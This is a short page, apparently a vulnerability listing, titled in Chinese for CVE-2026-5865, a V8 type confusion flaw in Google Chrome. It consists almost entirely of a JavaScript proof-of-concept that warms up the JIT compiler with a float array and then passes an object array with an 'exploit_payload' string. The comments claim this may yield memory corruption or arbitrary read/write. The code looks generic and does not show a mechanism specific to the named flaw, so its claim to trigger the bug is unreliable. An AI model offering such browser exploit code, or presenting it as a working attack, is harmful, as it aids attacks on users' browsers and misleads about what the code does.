CVE-2026-5865 Google Chrome V8类型混淆漏洞

// PoC for CVE-2026-5865: V8 Type Confusion // This script demonstrates the logic to trigger a type confusion // in V8 engine prior to 147.0.7727.55. function trigger_vuln(arr, value) { // The JIT compiler optimizes this assuming 'arr' is a specific type arr[0] = value; return arr[0]; } // Prepare objects for confusion let obj_array = [{}]; let float_array = [1.1]; // Warm up the JIT compiler to trigger optimization for (let i = 0; i < 10000; i++) { trigger_vuln(float_array, 2.2); } // Trigger the type confusion by passing a different array type // This may result in memory corruption or arbitrary read/write console.log(trigger_vuln(obj_array, "exploit_payload"));